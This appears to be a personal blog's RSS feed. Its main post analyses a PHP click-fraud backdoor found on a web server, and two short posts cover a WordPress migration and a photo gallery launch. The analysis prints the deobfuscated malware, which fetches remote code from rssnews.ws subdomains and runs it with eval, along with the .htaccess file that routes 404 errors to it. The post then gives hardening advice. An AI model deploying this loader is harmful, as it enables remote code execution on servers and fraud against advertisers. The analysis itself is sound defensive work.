<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>aaron-kelley.net &#187; PHP</title>
	<atom:link href="http://aaron-kelley.net/blog/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://aaron-kelley.net</link>
	<description>My little corner of the Internet</description>
	<lastBuildDate>Fri, 18 May 2012 19:32:19 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Click fraud script taking over your web site?</title>
		<link>http://aaron-kelley.net/blog/2010/08/click-fraud-script-taking-over-your-web-site/</link>
		<comments>http://aaron-kelley.net/blog/2010/08/click-fraud-script-taking-over-your-web-site/#comments</comments>
		<pubDate>Wed, 11 Aug 2010 20:31:53 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Software]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=830</guid>
		<description><![CDATA[On one of the web servers I help run, we noticed some suspicious activity. After poking around, I found a pair of suspicious files in a directory that contains user-uploaded files. One was named .htaccess (typical Apache distributed configuration file), and one was named 203497.php.  Here&#8217;s my analysis of these mystery files. First, taking a [...]]]></description>
			<content:encoded><![CDATA[<p>On one of the web servers I help run, we noticed some suspicious activity.  After poking around, I found a pair of suspicious files in a directory that contains user-uploaded files.  One was named <tt>.htaccess</tt> (typical Apache distributed configuration file), and one was named <tt>203497.php</tt>.  Here&#8217;s my analysis of these mystery files.</p>
<p><span id="more-830"></span>First, taking a look at the <tt>.htaccess</tt> file, which is pretty straightforward.</p>
<blockquote><p><tt>Options -MultiViews<br />
ErrorDocument 404 //<span style="color: #0000ff;">[directory path]</span>/203497.php</tt></p></blockquote>
<p><tt></tt></p>
<p>This is obviously intended to direct 404 errors to the other file that was uploaded, <tt>203497.php</tt>.  This has the sneaky side-effect of hiding hits to the file from the Apache logs — in addition to looking for hits to <tt>203497.php</tt>, you have to look for any hits in the same directory that resulted in the 404.</p>
<p>Now for the interesting file, <tt>203497.php</tt>.  This file was condensed when I found it (no whitespace, and all of the code on one line).  I formatted it a little and added comments.  I&#8217;ve divided it into parts (indicated in the comments) that I will discuss. Here it is:</p>
<blockquote><p><tt>&lt;?<br />
// Disable error reporting.<br />
error_reporting(0);</tt></p>
<p><tt>// --1--<br />
// Gather a bunch of info about the current request...<br />
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);<br />
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);<br />
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);<br />
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);<br />
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);<br />
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);<br />
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);<br />
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);<br />
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);<br />
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);</tt></p>
<p><tt>// ...and glue it all together.<br />
$z="/?" . base64_encode($a) . " . " . base64_encode($b) . " . " . base64_encode($c) . " . " . base64_encode($d) . " . " . base64_encode($e) . " . " . base64_encode($f) . " . " . base64_encode($g) . " . " . base64_encode($h) . " . e . " . base64_encode($i) . " . " . base64_encode($j);</tt></p>
<p><tt>// --2--<br />
// Decodes to "rssnews.ws".<br />
$f=base64_decode("cnNzbmV3cy53cw==");</tt></p>
<p><tt>// If the "q" request parameter equals some super secret password...<br />
if (basename($c) == basename($i) &amp;&amp; isset($_REQUEST["q"]) &amp;&amp; md5($_REQUEST["q"]) == "11b97f7e132cd3175d7801f278ff73ae") {<br />
// ...override our "f" variable with whatever was sent.<br />
$f=$_REQUEST["id"];<br />
}</tt></p>
<p><tt>// --3--<br />
// Attempt to load a remote page and evaluate it as PHP.<br />
if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z))); // http://ads....</tt></p>
<p><tt>// If that failed, attempt to load another one and evaluate it as PHP.<br />
else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z)) { // http://7....<br />
eval($c);<br />
}<br />
// If that failed, attempt to load another one and evaluate it as PHP.<br />
else {<br />
$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z); // http://71....<br />
curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);<br />
$o=curl_exec($cu);<br />
curl_close($cu);<br />
eval($o);<br />
}<br />
;<br />
die();<br />
?&gt;</tt></p></blockquote>
<p>Let&#8217;s take it apart.</p>
<p><em>Part 1</em></p>
<p>This appears to just gather some information about the current request — various pieces of the URL, referrer, user agent, IP address, and so forth.  It&#8217;s then glued together into one long base64-encoded string.</p>
<p><em>Part 2</em></p>
<p>Whoever wrote this likes to use literals encoded in base64 to (minimally) obfuscate what&#8217;s going on. Wherever there is base64-encoded stuff, I decoded it and left it in the comments.</p>
<p>The variable &#8220;<tt>$f</tt>&#8221; from here on out appears to be the domain name that is going to be used for a remote call in a moment.  It defaults to &#8220;<tt>rssnews.ws</tt>&#8220;, but can be overridden by an &#8220;<tt>id</tt>&#8221; parameter if a correct parameter &#8220;<tt>q</tt>&#8221; is given.  Who knows what the correct value is, because it is only compared against an MD5 hash here.</p>
<p><em>Part 3</em></p>
<p>Here are three different attempts to load a remote HTTP page.  One by the function <tt>include</tt>, one by <tt>file_get_contents</tt>, and one using cURL.  I think that whoever wrote this is hoping that if you&#8217;ve blocked out one of these methods via settings in <tt>php.ini</tt>, one of the other ones will still work.</p>
<p>The page that is loaded is prefixed by a different value each time &#8212; the first attempt is <tt>http://ads.rssnews.ws/</tt>, the second is <tt>http://7.rssnews.ws/</tt>, and the third is <tt>http://71.rssnews.ws/</tt> (of course, the &#8220;<tt>rssnews.ws</tt>&#8221; part can be overridden in part 2).  A GET parameter is given that is all of the information collected in part 1.</p>
<p>Now&#8230; what is done with the result?  It is executed as PHP code.  In the first case, the <tt>include</tt> function is used, which will take the contents of the remote page and plop it right into the script to be executed.  In the other two cases, the <tt>eval</tt> function is used to execute the contents of the remote page.  Again, different methods, possibly getting around block-outs in <tt>php.ini</tt>.</p>
<p>After that, the script is done.</p>
<p>How yucky to find something like this sitting on your web server!  This allows an attacker to <em>potentially</em> execute any arbitrary PHP code on your server.  And while PHP is primarily used for generating page content, it can do all sorts of things, like read the contents of files sitting around on your server (perhaps discovering sensitive information like your database password), delete files (depending on your file system permissions), send e-mail, and execute system commands.  So, basically, anything that the web server user is allowed to do.</p>
<p>This is a good reason to make sure the permissions on your web server are pretty tight.</p>
<p>Anyway, how did this stuff get on the server to begin with?  I said at the top that these files were found in a directory that contains user-uploaded files (supposedly, images).  It appears that a lack of checking the file as it came in was the reason that these files were able to make it up.  So, here&#8217;s a few lessons:</p>
<ul>
<li>If you are accepting file uploads with your web application, at the very least, check the file extension on file uploads (or force it to a certain value).  Do not allow user-uploaded files to end up on your server with extensions like <tt>.php</tt>, <tt>.htaccess</tt>, <tt>.pl</tt>, <tt>.sh</tt>, or stuff like that.  If you&#8217;re expecting images, restrict it to image extensions like <tt>.jpg</tt> and <tt>.png</tt>.  At least if a file containing malicious code makes it up, that code won&#8217;t be executed by your server.</li>
<li>If you can help it, don&#8217;t put user-uploaded files in a web-accessible directory.  Store them elsewhere on the file system and use another PHP script to allow access to them.  That way you have the opportunity to check to make sure that you&#8217;re serving what you think you&#8217;re serving.</li>
</ul>
<p>So, the damage?  Even though this script allows an attacker to execute arbitrary PHP and do mean things to your server, that doesn&#8217;t appear to be its intended use.  It actually does mean things to someone else.  Some Googling reveals many other people complaining about this script, with the only differences being the name of the PHP file (always a random number), the MD5 value in part 2, and in some cases the default URL in part 2.</p>
<p>Heading over to <tt>http://7.rssnews.ws/en/</tt> gives us an &#8220;earn money with your site&#8221; site.  I haven&#8217;t tried it, but apparently they give you some files to stick on your web server (probably the very two files I describe in this post).  A bunch of fake URLs that will result in 404 errors hitting said files will be seeded out to search engines.  Search engines will attempt to crawl the URLs.  The PHP script above will fire up and simulate an ad click somewhere.  Ta da!  Money.</p>
<p>Checking out the server logs, this seems consistent with the activity I&#8217;ve seen.  There were no hits to the <tt>203497.php</tt> file directly, but here is a small sampling of the hits that generated a 404 that executed the script:</p>
<p><tt>/<span style="color: #0000ff;">[directory path]</span>/allopass-key.html<br />
/<span style="color: #0000ff;">[directory path]</span>/curitel_usb_driver-x64.html<br />
/<span style="color: #0000ff;">[directory path]</span>/lords-of-the-realm-2-torrent.html<br />
/<span style="color: #0000ff;">[directory path]</span>/ninja-wagner-fotos.html<br />
/<span style="color: #0000ff;">[directory path]</span>/rationing-tutorials-photoshop.html<br />
/<span style="color: #0000ff;">[directory path]</span>/pro-bowl.html<br />
/<span style="color: #0000ff;">[directory path]</span>/massive-atack.html</tt></p>
<p>&#8230; and, all of these hits had user agents that look like search engine crawlers (mostly Yahoo! Slurp).</p>
<p>The fake ad click will appear to come from the web server&#8217;s IP address.  If this script is widely distributed, it&#8217;ll be tough for the advertisers (who are the real victims here) to detect and block this fraudulent activity.  Because the PHP code that actually does the &#8220;ad clicking&#8221; is loaded remotely (from the very site distributing the script), it can be updated if somehow the advertisers catch on and find a way to detect this activity.  If <tt>rssnews.ws</tt> ever gets shut down, they also have the option to override the default URL, so they could just set up on another domain.  (I found references to <tt>phpsearch.cn</tt> being the default domain, and you can see the same site running at <tt>http://7.phpsearch.cn/en/</tt>.)</p>
<p>And furthermore, apparently this script has been distributed en masse using security vulnerabilities in widely-used software like WordPress and Drupal.  Though the site I found it running on was running a home-grown CMS, so there are obviously people out there looking for exploits to distribute this on a small scale as well.</p>
<ul>
<li>Secure your server!  Make sure the file permissions are locked down.  Don&#8217;t even trust the user that the web server runs as.  You never know when something like this might show up on your system, allowing the execution of arbitrary code.</li>
<li>Keep your software up to date!  Vulnerabilities in software from the bottom (Linux and system libraries) to the middle (Apache, PHP, MySQL) to the top (web applications like WordPress) can potentially allow for this sort of thing to sneak in.  Most large open-source operations take security very seriously and get patches out quick if a vulnerability is found (and especially if people are exploiting it), but many times it still requires some effort on your part to get the new software where it needs to be.  If you write your own code, think about ways to break in.</li>
<li>Check things over from time to time and make sure there&#8217;s no suspicious files or traffic.</li>
</ul>
<p>That&#8217;s all for now.  Hope this helps someone!</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2010/08/click-fraud-script-taking-over-your-web-site/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Welcome to the new aaron-kelley.net!</title>
		<link>http://aaron-kelley.net/blog/2009/08/welcome-to-the-new-aaron-kelley-net/</link>
		<comments>http://aaron-kelley.net/blog/2009/08/welcome-to-the-new-aaron-kelley-net/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 02:00:11 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Site Updates]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=263</guid>
		<description><![CDATA[Hello!  First post in a while. Welcome to the new aaron-kelley.net.  I&#8217;ve migrated all of my previous content to WordPress, which now powers my site.  This makes the site much easier to manage than the makeshift CMS that I had in place before.  Hopefully, now I will be able to find the time to add [...]]]></description>
			<content:encoded><![CDATA[<p>Hello!  First post in a while.</p>
<p>Welcome to the new aaron-kelley.net.  I&#8217;ve migrated all of my previous content to <a href="http://wordpress.org/" target="_blank">WordPress</a>, which now powers my site.  This makes the site much easier to manage than the makeshift CMS that I had in place before.  Hopefully, now I will be able to find the time to add some useful content.</p>
<p>There will be some changes to the appearance/theme over the next few days and weeks as everything gets settled.  However, all of the old content is now available here, and the site is completely usable.</p>
<p>WordPress is a pretty cool platform to build a web site on.  It&#8217;s really starting to take off now, too.  I&#8217;ve known about it for a long time, but some of the features that made me decide to go ahead and move only came in as of version 2.7 ot 2.8 (or, in the last 8 months).  I recommend looking into it if you are looking to build a simple site; it&#8217;s not only for running blogs, you can manage static content pages on it as well, and it is pretty easy to extend if you know any PHP.  There&#8217;s even chatter about <a href="http://wordpress.org/development/2009/07/2-9-vote-results/" target="_blank">media albums coming to WordPress</a> in the near future, so I&#8217;m hopeful that I&#8217;ll be able to move all of my content from the photo gallery into this site, just to have everything in one place.  More on this later.</p>
<p>Probably, next up will be a series of blog posts on <a href="http://www.ubuntu.com/" target="_blank">Ubuntu Linux</a> &#8212; the operating system in general, and fixes to some specific issues that I&#8217;ve come across as well as other general tips.  I&#8217;ve been collecting these since I switched to Ubuntu last November but never got around to posting them online.  How can I not, now that it is so easy for me?  I&#8217;ll also be posting whatever random useful information that I come up with &#8212; after all, my main audience is Googlers who find a page on this site while looking for something specific, and that&#8217;s how I plan to run things for a while longer.</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2009/08/welcome-to-the-new-aaron-kelley-net/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Launch of gallery.aaron-kelley.net</title>
		<link>http://aaron-kelley.net/blog/2008/10/launch-of-gallery-aaron-kelley-net/</link>
		<comments>http://aaron-kelley.net/blog/2008/10/launch-of-gallery-aaron-kelley-net/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 04:49:41 +0000</pubDate>
		<dc:creator>Aaron</dc:creator>
				<category><![CDATA[Site Updates]]></category>
		<category><![CDATA[Facebook]]></category>
		<category><![CDATA[Gallery]]></category>
		<category><![CDATA[Gallery2]]></category>
		<category><![CDATA[Google Analytics]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Tagging]]></category>
		<category><![CDATA[Windows Photo Gallery]]></category>
		<category><![CDATA[XMP]]></category>

		<guid isPermaLink="false">http://aaron-kelley.net/?p=3</guid>
		<description><![CDATA[For over a year now, I&#8217;ve been planning to launch an online photo album.  Today, it&#8217;s here. I looked at many options for this.  The easiest solution seems like it would be to use an existing online photo sharing site, like Flickr or Windows Live Spaces.  I looked at four or five of these, and [...]]]></description>
			<content:encoded><![CDATA[<p>For over a year now, I&#8217;ve been planning to launch an online photo album.  Today, it&#8217;s here.</p>
<p>I looked at many options for this.  The easiest solution seems like it would be to use an existing online photo sharing site, like Flickr or Windows Live Spaces.  I looked at four or five of these, and none of them really offered what I was looking for.  And what was that, exactly?</p>
<p><span id="more-3"></span><strong>Access control.</strong> I want to be able to upload a bunch of photos for the general public to see, but have more that friends and family can log in to view.  I want to be able to assign users into groups and set some photos visible only to certain groups.</p>
<p><strong>Tagging.</strong> Some existing services have limited support for tagging.  I really like Windows Photo Gallery&#8217;s hierarchical tagging.  I wanted some way to bring this into my online photo gallery.</p>
<p>(Hold on, why don&#8217;t I just use Facebook?  It seems to fit the bill so far.  Well, how about these&#8230;)</p>
<p><strong>Download the full-size, original photos.</strong> Users who have accounts should be able to download the full photo for archival or printing, not just a scaled-down web version.  And I&#8217;d like the photos on the web site itself to also be reasonably high resolution&#8230; no 640&#215;480 junk.</p>
<p><strong>Easily managed appearance and organization of photos.</strong> Specifically, I want photos to be presented chronologically, and I don&#8217;t want to have to do some tedeous rearranging or even be sure to upload photos in the correct order to get them to appear in the order I want.</p>
<p>After dismissing the idea of using an existing online service, I thought about writing my own.  I started working on my own online photo application.  It was to support everything I mentioned above, and even support importing XMP metadata information saved by Windows Photo Gallery and expose the hierarchical tag tree for users to browse.  I made some good progress on this application during the previous summer, but I ended up dropping it because I simply do not have the time to devote to it.</p>
<p>However, all of that effort was not lost.  I finally settled on <a href="http://gallery.menalto.com/" target="_blank">Gallery</a> (what a name), an open-source PHP based photo gallery web app.  I extended the metadata module provided with it to support reading XMP metadata from Windows Photo Gallery (tags, corrected dates, and captions), using code I had written for this that was originally intended to be used in my own photo application.  This makes uploading photos that I have already organized in Windows Photo Gallery <em>very easy</em> for me.  I made some other minor tweaks to the app, but now it is up and running at <a href="http://gallery.aaron-kelley.net/" target="_blank">gallery.aaron-kelley.net</a>.</p>
<p>Here&#8217;s what you need to know if you want to check out my photo gallery!</p>
<p>I decided <em>not to expose tag information directly</em> for privacy reasons.  However, you can search on the tags.  My tags are pretty detailed, so if you put in a location, person, or whatever in the search box, you may be able to find photos.</p>
<p>Personal photos (that is, photos of me, friends, family, and so on) are only visible to people who have an account and sign in.  If you register for an account, it has to be verified by me before it becomes active.  I will only allow friends and family to register accounts.  People without accounts can still view my more &#8220;general&#8221; photos.</p>
<p>Account holders may also download the original version of any photo they have access to.  Other web users may view the rather generously sized 1024&#215;768 versions.  (I thought about going even higher than that, but decided that it&#8217;d make the page bigger than some users&#8217; web browser windows.  I&#8217;ll check out the Google Analytics data on this after a while, and raise it if it looks like it won&#8217;t bug very many people.)</p>
<p>At this moment, I&#8217;ve only uploaded photos from the last two months.  I will be adding more in the coming days and weeks, starting from now and going backwards.  Photos marked &#8220;NEW&#8221; on the site are photos that I added within the last 7 days.  (After I run out of digital photos, I hope to digitize some &#8220;traditional photos&#8221; and make them available.  But I have lots of digital photos that I have yet to even sort through and tag for myself.)</p>
]]></content:encoded>
			<wfw:commentRss>http://aaron-kelley.net/blog/2008/10/launch-of-gallery-aaron-kelley-net/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

